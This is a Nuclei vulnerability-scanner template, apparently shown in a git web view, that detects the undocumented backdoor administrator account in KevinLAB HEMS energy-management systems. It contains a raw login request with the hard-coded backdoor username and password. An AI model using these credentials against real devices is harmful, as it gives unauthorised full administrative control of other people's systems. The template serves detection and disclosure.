nuclei-templates/http/vulnerabilities/backdoor/kevinlab-hems-backdoor.yaml

48 lines
1.7 KiB
YAML
Raw Normal View History

id: kevinlab-hems-backdoor
info:
name: KevinLAB HEMS - Backdoor Detection
author: gy741
severity: critical
2022-05-31 08:58:02 +00:00
description: |
KevinLAB HEMS has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
metadata:
max-request: 1
2023-10-14 11:27:55 +00:00
tags: kevinlab,default-login,backdoor
http:
- raw:
- |
POST /dashboard/proc.php?type=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Connection: close
userid=kevinlab&userpass=kevin003
matchers-condition: and
matchers:
2021-08-07 18:50:56 +00:00
- type: word
2022-05-31 08:58:02 +00:00
part: body
2021-08-07 18:50:56 +00:00
words:
- '<meta http-equiv="refresh" content="0; url=/"></meta>'
- type: word
words:
- '<script> alert'
2021-08-07 18:52:55 +00:00
negative: true
- type: word
2022-05-31 08:58:02 +00:00
part: header
2021-08-07 18:52:55 +00:00
words:
- 'PHPSESSID'
2022-05-31 08:58:02 +00:00
- type: status
status:
- 200
# digest: 4a0a004730450220267fec77abb09bfde643496837dacebb4dff78eb576dc22b0e60b85d631e4ab20221009da99a302a2eb9b9cf0d8f5bbf4f9c66f185a9387852592a6f91596f48eb0bf1:922c64590222798bb761d5b6d8e72950